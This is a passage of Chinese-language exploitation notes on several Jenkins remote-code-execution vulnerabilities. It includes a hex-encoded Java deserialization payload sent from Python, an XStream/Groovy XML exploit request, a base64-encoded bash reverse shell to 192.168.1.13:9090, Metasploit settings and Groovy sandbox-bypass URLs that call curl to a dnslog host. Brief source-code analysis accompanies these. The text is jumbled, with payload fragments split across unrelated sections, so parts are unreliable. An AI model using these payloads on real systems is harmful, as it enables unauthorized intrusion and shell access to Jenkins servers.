3\x71\x00\x7e\x00\x13\x00\x00\x00\x3c\x74\x00\x1b\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x 6d\x6f\x74\x69\x6e\x67\x2e\x55\x73\x65\x72\x52\x65\x71\x75\x65\x73\x74\x74\x00\x10\x55\ x73\x65\x72\x52\x65\x71\x75\x65\x73\x74\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71 \x00\x7e\x00\x13\x00\x00\x03\x08\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6 f\x74\x69\x6e\x67\x2e\x43\x68\x61\x6e\x6e\x65\x6c\x74\x00\x0c\x43\x68\x61\x6e\x6e\x65\x 6c\x2e\x6a\x61\x76\x61\x74\x00\x04\x63\x61\x6c\x6c\x73\x71\x00\x7e\x00\x13\x00\x00\x00\ xfa\x74\x00\x27\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65 \x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x7 4\x00\x1c\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x 64\x6c\x65\x72\x2e\x6a\x61\x76\x61\x74\x00\x06\x69\x6e\x76\x6f\x6b\x65\x73\x71\x00\x7e\ x00\x13\xff\xff\xff\xff\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69 \x6e\x67\x2e\x24\x50\x72\x6f\x78\x79\x31\x70\x74\x00\x0f\x77\x61\x69\x74\x46\x6f\x72\x5 0\x72\x6f\x70\x65\x72\x74\x79\x73\x71\x00\x7e\x00\x13\x00\x00\x04\xe7\x71\x00\x7e\x00\x 20\x71\x00\x7e\x00\x21\x74\x00\x15\x77\x61\x69\x74\x46\x6f\x72\x52\x65\x6d\x6f\x74\x65\ x50\x72\x6f\x70\x65\x72\x74\x79\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x93\x74\x00\x0e\x68 \x75\x64\x73\x6f\x6e\x2e\x63\x6c\x69\x2e\x43\x4c\x49\x74\x00\x08\x43\x4c\x49\x2e\x6a\x6 1\x76\x61\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x48\x74\x00\x1f\x68\x 75\x64\x73\x6f\x6e\x2e\x63\x6c\x69\x2e\x43\x4c\x49\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\ x6e\x46\x61\x63\x74\x6f\x72\x79\x74\x00\x19\x43\x4c\x49\x43\x6f\x6e\x6e\x65\x63\x74\x69 \x6f\x6e\x46\x61\x63\x74\x6f\x72\x79\x2e\x6a\x61\x76\x61\x74\x00\x07\x63\x6f\x6e\x6e\x6 5\x63\x74\x73\x71\x00\x7e\x00\x13\x00\x00\x01\xdf\x71\x00\x7e\x00\x2d\x71\x00\x7e\x00\x 2e\x74\x00\x05\x5f\x6d\x61\x69\x6e\x73\x71\x00\x7e\x00\x13\x00\x00\x01\x86\x71\x00\x7e\ x00\x2d\x71\x00\x7e\x00\x2e\x74\x00\x04\x6d\x61\x69\x6e\x73\x72\x00\x26\x6a\x61\x76\x61 \x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24\x55\x6e\x6d\x6 f\x64\x69\x66\x69\x61\x62\x6c\x65\x4c\x69\x73\x74\xfc\x0f\x25\x31\xb5\xec\x8e\x10\x02\x 00\x01\x4c\x00\x04\x6c\x69\x73\x74\x71\x00\x7e\x00\x0f\x78\x72\x00\x2c\x6a\x61\x76\x61\ x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24\x55\x6e\x6d\x6f \x64\x69\x66\x69\x61\x62\x6c\x65\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x19\x42\x00\x8 0\xcb\x5e\xf7\x1e\x02\x00\x01\x4c\x00\x01\x63\x74\x00\x16\x4c\x6a\x61\x76\x61\x2f\x75\x 74\x69\x6c\x2f\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x3b\x78\x70\x73\x72\x00\x13\x6a\ x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d \x99\xc7\x61\x9d\x03\x00\x01\x49\x00\x04\x73\x69\x7a\x65\x78\x70\x00\x00\x00\x00\x77\x0 4\x00\x00\x00\x00\x78\x71\x00\x7e\x00\x3c\x78\x71\x00\x7e\x00\x08\x00\x00\x00\x01\x00\x 00\x00\x00\x70\x73\x7d\x00\x00\x00\x02\x00\x2e\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\ x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65 \x72\x24\x49\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x00\x1c\x68\x75\x64\x73\x6f\x6 e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x49\x52\x65\x61\x64\x52\x65\x73\x6f\x6c\x76\x 65\x78\x72\x00\x17\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x72\x65\x66\x6c\x65\x63\x74\ x2e\x50\x72\x6f\x78\x79\xe1\x27\xda\x20\xcc\x10\x43\xcb\x02\x00\x01\x4c\x00\x01\x68\x74 \x00\x25\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x72\x65\x66\x6c\x65\x63\x74\x2f\x4 9\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x78\x70\x73\x72\x 00\x27\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\ x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x00\x00\x00 \x00\x00\x00\x00\x01\x03\x00\x05\x5a\x00\x14\x61\x75\x74\x6f\x55\x6e\x65\x78\x70\x6f\x7 2\x74\x42\x79\x43\x61\x6c\x6c\x65\x72\x5a\x00\x09\x67\x6f\x69\x6e\x67\x48\x6f\x6d\x65\x 49\x00\x03\x6f\x69\x64\x5a\x00\x09\x75\x73\x65\x72\x50\x72\x6f\x78\x79\x4c\x00\x06\x6f\ x72\x69\x67\x69\x6e\x71\x00\x7e\x00\x0d\x78\x70\x00\x00\x00\x00\x00\x02\x00\x73\x71\x00 \x7e\x00\x0b\x71\x00\x7e\x00\x43\x74\x00\x78\x50\x72\x6f\x78\x79\x20\x68\x75\x64\x73\x6 f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x 63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x40\x32\x20\x77\x61\x73\x20\x63\x72\ x65\x61\x74\x65\x64\x20\x66\x6f\x72\x20\x69\x6e\x74\x65\x72\x66\x61\x63\x65\x20\x68\x75 \x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x43\x6 c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x24\x49\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x 72\x75\x71\x00\x7e\x00\x11\x00\x00\x00\x0d\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x7d\x71\ x00\x7e\x00\x24\x71\x00\x7e\x00\x25\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00 \x00\x89\x71\x00\x7e\x00\x24\x71\x00\x7e\x00\x25\x74\x00\x04\x77\x72\x61\x70\x73\x71\x0 0\x7e\x00\x13\x00\x00\x02\x6a\x71\x00\x7e\x00\x20\x71\x00\x7e\x00\x21\x74\x00\x06\x65\x 78\x70\x6f\x72\x74\x73\x71\x00\x7e\x00\x13\x00\x00\x02\xa6\x74\x00\x21\x68\x75\x64\x73\ x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x43\x6c\x61\x73 \x73\x4c\x6f\x61\x64\x65\x72\x74\x00\x16\x52\x65\x6d\x6f\x74\x65\x43\x6c\x61\x73\x73\x4 c\x6f\x61\x64\x65\x72\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x4a\x73\x71\x00\x7e\x00\x13\x 00\x00\x00\x46\x71\x00\x7e\x00\x1d\x71\x00\x7e\x00\x1e\x71\x00\x7e\x00\x17\x73\x71\x00\ x7e\x00\x13\x00\x00\x03\x08\x71\x00\x7e\x00\x20\x71\x00\x7e\x00\x21\x71\x00\x7e\x00\x22 \x73\x71\x00\x7e\x00\x13\x00\x00\x00\xfa\x71\x00\x7e\x00\x24\x71\x00\x7e\x00\x25\x71\x0 0\x7e\x00\x26\x73\x71\x00\x7e\x00\x13\xff\xff\xff\xff\x71\x00\x7e\x00\x28\x70\x71\x00\x 7e\x00\x29\x73\x71\x00\x7e\x00\x13\x00\x00\x04\xe7\x71\x00\x7e\x00\x20\x71\x00\x7e\x00\ x21\x71\x00\x7e\x00\x2b\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x93\x71\x00\x7e\x00\x2d\x71 \x00\x7e\x00\x2e\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x48\x71\x00\x7 e\x00\x30\x71\x00\x7e\x00\x31\x71\x00\x7e\x00\x32\x73\x71\x00\x7e\x00\x13\x00\x00\x01\x df\x71\x00\x7e\x00\x2d\x71\x00\x7e\x00\x2e\x71\x00\x7e\x00\x34\x73\x71\x00\x7e\x00\x13\ x00\x00\x01\x86\x71\x00\x7e\x00\x2d\x71\x00\x7e\x00\x2e\x71\x00\x7e\x00\x36\x71\x00\x7e \x00\x3a\x78\x78\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00\x7 8\x70\x00\x00\x07\x46\xac\xed\x00\x05\x73\x72\x00\x32\x68\x75\x64\x73\x6f\x6e\x2e\x72\x 65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\ x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x24\x52\x50\x43\x52\x65\x71\x75\x65\x73\x74\x00\x00 \x00\x00\x00\x00\x00\x01\x02\x00\x04\x49\x00\x03\x6f\x69\x64\x5b\x00\x09\x61\x72\x67\x7 5\x6d\x65\x6e\x74\x73\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x 62\x6a\x65\x63\x74\x3b\x4c\x00\x0a\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x74\x00\x12\ x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x05\x74 \x79\x70\x65\x73\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x7 2\x69\x6e\x67\x3b\x77\x08\xff\xff\xff\xfe\x00\x00\x00\x02\x78\x72\x00\x17\x68\x75\x64\x 73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x71\x75\x65\x73\x74\x00\x00\ x00\x00\x00\x00\x00\x01\x02\x00\x03\x49\x00\x02\x69\x64\x49\x00\x08\x6c\x61\x73\x74\x49 \x6f\x49\x64\x4c\x00\x08\x72\x65\x73\x70\x6f\x6e\x73\x65\x74\x00\x1a\x4c\x68\x75\x64\x7 3\x6f\x6e\x2f\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2f\x52\x65\x73\x70\x6f\x6e\x73\x65\x3b\x 77\x04\x00\x00\x00\x00\x78\x72\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\ x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x01 \x4c\x00\x09\x63\x72\x65\x61\x74\x65\x64\x41\x74\x74\x00\x15\x4c\x6a\x61\x76\x61\x2f\x6 c\x61\x6e\x67\x2f\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x3b\x77\x04\x00\x00\x00\x00\x78\x 70\x73\x72\x00\x1e\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\ x6f\x6d\x6d\x61\x6e\x64\x24\x53\x6f\x75\x72\x63\x65\x00\x00\x00\x00\x00\x00\x00\x01\x02 \x00\x01\x4c\x00\x06\x74\x68\x69\x73\x24\x30\x74\x00\x19\x4c\x68\x75\x64\x73\x6f\x6e\x2 f\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2f\x43\x6f\x6d\x6d\x61\x6e\x64\x3b\x77\x04\x00\x00\x 00\x00\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x45\x78\x63\x65\x70\x74\ x69\x6f\x6e\xd0\xfd\x1f\x3e\x1a\x3b\x1c\xc4\x02\x00\x00\x77\x04\xff\xff\xff\xfd\x78\x72 \x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\xd 5\xc6\x35\x27\x39\x77\xb8\xcb\x03\x00\x04\x4c\x00\x05\x63\x61\x75\x73\x65\x74\x00\x15\x 4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\x3b\x4c\ x00\x0d\x64\x65\x74\x61\x69\x6c\x4d\x65\x73\x73\x61\x67\x65\x71\x00\x7e\x00\x02\x5b\x00 \x0a\x73\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x74\x00\x1e\x5b\x4c\x6a\x61\x76\x61\x2f\x6 c\x61\x6e\x67\x2f\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x 3b\x4c\x00\x14\x73\x75\x70\x70\x72\x65\x73\x73\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\ x6e\x73\x74\x00\x10\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4c\x69\x73\x74\x3b\x77 \x04\xff\xff\xff\xfd\x78\x70\x71\x00\x7e\x00\x10\x70\x75\x72\x00\x1e\x5b\x4c\x6a\x61\x7 6\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x 65\x6e\x74\x3b\x02\x46\x2a\x3c\x3c\xfd\x22\x39\x02\x00\x00\x77\x04\xff\xff\xff\xfd\x78\ x70\x00\x00\x00\x0b\x73\x72\x00\x1b\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61 \x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x61\x09\xc5\x9a\x26\x36\xdd\x8 5\x02\x00\x04\x49\x00\x0a\x6c\x69\x6e\x65\x4e\x75\x6d\x62\x65\x72\x4c\x00\x0e\x64\x65\x 63\x6c\x61\x72\x69\x6e\x67\x43\x6c\x61\x73\x73\x71\x00\x7e\x00\x02\x4c\x00\x08\x66\x69\ x6c\x65\x4e\x61\x6d\x65\x71\x00\x7e\x00\x02\x4c\x00\x0a\x6d\x65\x74\x68\x6f\x64\x4e\x61 \x6d\x65\x71\x00\x7e\x00\x02\x77\x04\xff\xff\xff\xfd\x78\x70\x00\x00\x00\x43\x74\x00\x1 7\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x 6e\x64\x74\x00\x0c\x43\x6f\x6d\x6d\x61\x6e\x64\x2e\x6a\x61\x76\x61\x74\x00\x06\x3c\x69\ x6e\x69\x74\x3e\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x32\x71\x00\x7e\x00\x15\x71\x00\x7e \x00\x16\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x63\x74\x00\x17\x68\x7 5\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x71\x75\x65\x73\x74\x 74\x00\x0c\x52\x65\x71\x75\x65\x73\x74\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71\ x00\x7e\x00\x13\x00\x00\x02\x39\x74\x00\x32\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f \x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x4 8\x61\x6e\x64\x6c\x65\x72\x24\x52\x50\x43\x52\x65\x71\x75\x65\x73\x74\x74\x00\x1c\x52\x 65\x6d\x6f\x74\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\ x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\xf6\x74\x00 \x27\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x6d\x6f\x7 4\x65\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x71\x00\x7e\x 00\x1e\x74\x00\x06\x69\x6e\x76\x6f\x6b\x65\x73\x71\x00\x7e\x00\x13\xff\xff\xff\xff\x74\ x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x24\x50\x72\x6f \x78\x79\x31\x70\x74\x00\x0f\x77\x61\x69\x74\x46\x6f\x72\x50\x72\x6f\x70\x65\x72\x74\x7 9\x73\x71\x00\x7e\x00\x13\x00\x00\x04\xe7\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x 65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x68\x61\x6e\x6e\x65\x6c\x74\x00\x0c\x43\x68\x61\x6e\ x6e\x65\x6c\x2e\x6a\x61\x76\x61\x74\x00\x15\x77\x61\x69\x74\x46\x6f\x72\x52\x65\x6d\x6f \x74\x65\x50\x72\x6f\x70\x65\x72\x74\x79\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x93\x74\x0 0\x0e\x68\x75\x64\x73\x6f\x6e\x2e\x63\x6c\x69\x2e\x43\x4c\x49\x74\x00\x08\x43\x4c\x49\x 2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x48\x74\x00\ x1f\x68\x75\x64\x73\x6f\x6e\x2e\x63\x6c\x69\x2e\x43\x4c\x49\x43\x6f\x6e\x6e\x65\x63\x74 \x69\x6f\x6e\x46\x61\x63\x74\x6f\x72\x79\x74\x00\x19\x43\x4c\x49\x43\x6f\x6e\x6e\x65\x6 3\x74\x69\x6f\x6e\x46\x61\x63\x74\x6f\x72\x79\x2e\x6a\x61\x76\x61\x74\x00\x07\x63\x6f\x 6e\x6e\x65\x63\x74\x73\x71\x00\x7e\x00\x13\x00\x00\x01\xdf\x71\x00\x7e\x00\x2a\x71\x00\ x7e\x00\x2b\x74\x00\x05\x5f\x6d\x61\x69\x6e\x73\x71\x00\x7e\x00\x13\x00\x00\x01\x86\x71 \x00\x7e\x00\x2a\x71\x00\x7e\x00\x2b\x74\x00\x04\x6d\x61\x69\x6e\x73\x72\x00\x26\x6a\x6 1\x76\x61\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x24\x55\x 6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x4c\x69\x73\x74\xfc\x0f\x25\x31\xb5\xec\x8e\ x10\x02\x00\x01\x4c\x00\x04\x6c\x69\x73\x74\x71\x00\x7e\x00\x0f\x77\x04\xff\xff\xff\xfd \x78\x72\x00\x2c\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x43\x6f\x6c\x6c\x65\x63\x74\x6 9\x6f\x6e\x73\x24\x55\x6e\x6d\x6f\x64\x69\x66\x69\x61\x62\x6c\x65\x43\x6f\x6c\x6c\x65\x 63\x74\x69\x6f\x6e\x19\x42\x00\x80\xcb\x5e\xf7\x1e\x02\x00\x01\x4c\x00\x01\x63\x74\x00\ x16\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x43\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e 由于该漏洞是利⽤ cc1 的链,所以我们可以直接通过 yso ⽣成 cc1 的 payload 成功在容器中执⾏命令 \x3b\x77\x04\xff\xff\xff\xfd\x78\x70\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x75\x74\x69\x6 c\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d\x99\xc7\x61\x9d\x03\x00\x01\x 49\x00\x04\x73\x69\x7a\x65\x77\x04\xff\xff\xff\xfd\x78\x70\x00\x00\x00\x00\x77\x04\x00\ x00\x00\x00\x78\x71\x00\x7e\x00\x39\x78\x71\x00\x7e\x00\x08\x00\x00\x00\x00\x00\x00\x00 \x00\x70\x00\x00\x00\x01\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2 e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10\x73\x29\x6c\x02\x00\x00\x77\x04\xff\x ff\xff\xfd\x78\x70\x00\x00\x00\x01\x74\x00\x18\x68\x75\x64\x73\x6f\x6e\x2e\x63\x6c\x69\ x2e\x43\x6c\x69\x45\x6e\x74\x72\x79\x50\x6f\x69\x6e\x74\x71\x00\x7e\x00\x24\x75\x72\x00 \x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd 2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x77\x04\xff\xff\xff\xfd\x78\x70\x00\x00\x00\x01\x 74\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x74\x00\x1d\ x52\x50\x43\x52\x65\x71\x75\x65\x73\x74\x28\x31\x2c\x77\x61\x69\x74\x46\x6f\x72\x50\x72 \x6f\x70\x65\x72\x74\x79\x29' print 'sending payload...' sock.send(payload) 反弹shell 借助 http://jackson-t.ca/runtime-exec-payloads.html 将我们的 payload 简单变换,然后直接 yso ⽣成,这样就 可以直接反弹shell了 漏洞分析 本漏洞是通过 Jenkis cli 的模式来进⾏触发的,触发的过程中利⽤了含有缺陷的 CommonsCollections 3.2.1 来进 ⾏反序列化的命令执⾏ 漏洞利⽤链如下: 由于我们的是通过 cli 的模式进⾏触发的所以⾸先需要找到 Jenkins cli 的⼊⼝函数,发现在 hudson.TcpSlaveAgentListener#ConnectionHandler ,根据前⾯的 Protocol 来选择对应的协议 我们这⾥ Protocol 后⾯是 CLI-connect ,所以我们这边就关注 cli 的地⽅ 这⾥的 handle 是抽象⽅法,我们这⾥找到其具体实现 hudson.cli.CliProtocol#handle 可以看到这⾥的 socket 作为参数传到了Handler 中来进⾏处理,同时调⽤其中的 run ⽅法 在 run ⽅法中,调⽤来 runCli ⽅法对 socket 连接进⾏了处理 ,跟进 runCli ⽅法 在 runCli ⽅法中会将我们的输⼊和输出存到缓冲区中然后传递到 build ⽅法 , 会调⽤ build ⽅法来处理缓冲区的输 ⼊输出问题 我们跟进 build 这个⽅法,发现会将缓冲区中的输⼊和输出传递到 negotiate 函数中,跟进该函数 在 negotiate 函数中,会检查所有发送到 Jenkis Cli 中的输⼊都检测是否有如下的序列头 , 然后在 case 2 处进⾏了 反序列化操作 编写poc的话⼀共发送两个请求包,⾸先发送第⼀个包来获取 cli 端⼝,然后发送构造好的序列化数据进⾏发送从 ⽽触发反序列化 CVE-2016-0792 低权限⽤户命令执⾏ 影响版本 jenkins < 1.650 利⽤限制:要能够访问到 createItem 的这个路径,同时版本要⼩于 1.650 该漏洞是借助有缺陷的 Xstream反序列化漏洞从⽽导致的 RCE 漏洞利⽤ 这个漏洞是借助 Xstream 的反序列化来进⾏触发的,可以看到成功在 /tmp/success 下创建了⽂件 反弹shell 成功收到 漏洞分析 直接从 poc 中看 可以看到这⾥看返回的 header 头中的 X-Jenkins 版本是否⼩于 1.650,如果是的话就说明存在漏洞 所以根据 payload 的内容可直接⼿⼯进⾏发包,这⾥注意设置 content-type 请求路径如下: /createItem?name=whatever ,由于该漏洞的利⽤⼿段不是很复杂,可以直接通过⼿⼯发包来 实现 整体 Poc 如下: POST /createItem?name=whatever HTTP/1.1 Host: localhost:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng, */*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: text/xml Content-Length: 857 <map> <entry> <groovy.util.Expando> <expandoProperties> <entry> <string>hashCode</string> <org.codehaus.groovy.runtime.MethodClosure> <delegate class="groovy.util.Expando"/> <owner class="java.lang.ProcessBuilder"> CVE-2016-9299 代码执⾏ https://www.joyk.com/dig/detail/1569061868593172 影响版本 Jenkins < 2.32 Jenkins LTS < 2.19.3 漏洞利⽤ 在 msf 中有⽐较成熟的利⽤模块,直接利⽤ msf 中的模块即可 [常⻅]CVE-2017-1000353 Jenkins-CI 远程代码执⾏ 影响版本 Jenkins <= 2.56 Jenkins LTS <= 2.46.1 不需要进⾏登陆,可直接进⾏利⽤ 利⽤反序列化进⾏攻击 <command><string>bash</string><string>-c</string><string> {echo,YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTMvOTA5MCAwPiYxIgo=}| {base64,-d}|{bash,-i}</string></command> </owner> <method>start</method> </org.codehaus.groovy.runtime.MethodClosure> </entry> </expandoProperties> </groovy.util.Expando> <int>1</int> </entry> </map> use exploit/linux/misc/jenkins_ldap_deserialize set RHOST 192.168.1.5 # 设置⽬标host set RPORT 9091 # 设置⽬标端⼝ set LDAPHOST 192.168.1.13 set SRVHOST 192.168.1.13 set PAYLOAD cmd/unix/generic set CMD 'touch /tmp/wtf' 漏洞复现 ⾸先⽣成反序列化 payload 利⽤ exp 直接进⾏反弹shell python3 exploit.py http://localhost:8080 poc.ser 漏洞分析 漏洞触发还是和cli有关系,我们来详细看看,⾸先⼊⼝在 hudson.cli.CLIAction , 从源码中可看出会从 header 中 的 side 值来区分是 download 还是 upload ,然后通过 uuid 来区分不同的通道,⾸先会进⼊ download java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar poc.ser 'bash -c {echo,YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTMvOTA5MCAwPiYxIg==}| {base64,-d}|{bash,-i}' 在 download ⽅法中会阻塞,直到等到 upload 跟进 Channel ⽅法 ,同样的会将输⼊输出传递到 negotiate 函数中 在negotiate中调⽤⾥ makeTransport ⽅法 在 makeTransport ⽅法中会先判断是否⽀持 Chunked ,然后返回到构造函数 重新回到 Channel 的构造函数 ,看到这⾥将⾃身以及 CommandReceiver 作为参数传⼊了 setup ⽅法, 但是这 ⾥的 setup 是⼀个抽象⽅法 ⽽setup也是⼀个抽象类,会调⽤ hudson.remoting.SynchronousCommandTransport#setup 这个会启动⼀ 个ReaderThread 线程来处理传⼊的CommandReceiver对象,这⾥通过 start 来进⾏线程的启动,在 run ⽅法 中调⽤了 read ⽅法 此处的 read 为抽象⽅法,其实现⽅法在 hudson.remoting.ClassicCommandTransport 跟进 readForm 发现会对输⼊流进⾏反序列化 [常⻅]CVE-2018-1000861 远程命令执⾏ 影响版本 Jenkins < 2.153 ,Jenkins LTS < 2.138.3 Jenkins <= 2.137 可以绕过权限校验直接进⾏利⽤,2.138 <= Jenkins < 2.153 就需要经过权限校验才能够进⾏利 ⽤ 在 Jenkins 中如果没有开启 “匿名者具有可读权限” 的话,那么我们请求的路有会⾸先经过⽩名单校验,但是在 Jenkins 2.137 之前可以通过⼀些在⽩名单的前缀从⽽绕过权限校验 漏洞复现 漏洞检测: 借助 dnslog 等平台进⾏检测 /securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox. groovy.SecureGroovyScript/checkScript? sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7bassert+java.lang.R untime.getRuntime().exec("curl http://xxx.ceye.io/CVE-2018- 1000861")%7d)%0aclass+Person%7b%7d /securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox. groovy.SecureGroovyScript/checkScript? sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7b+"curl 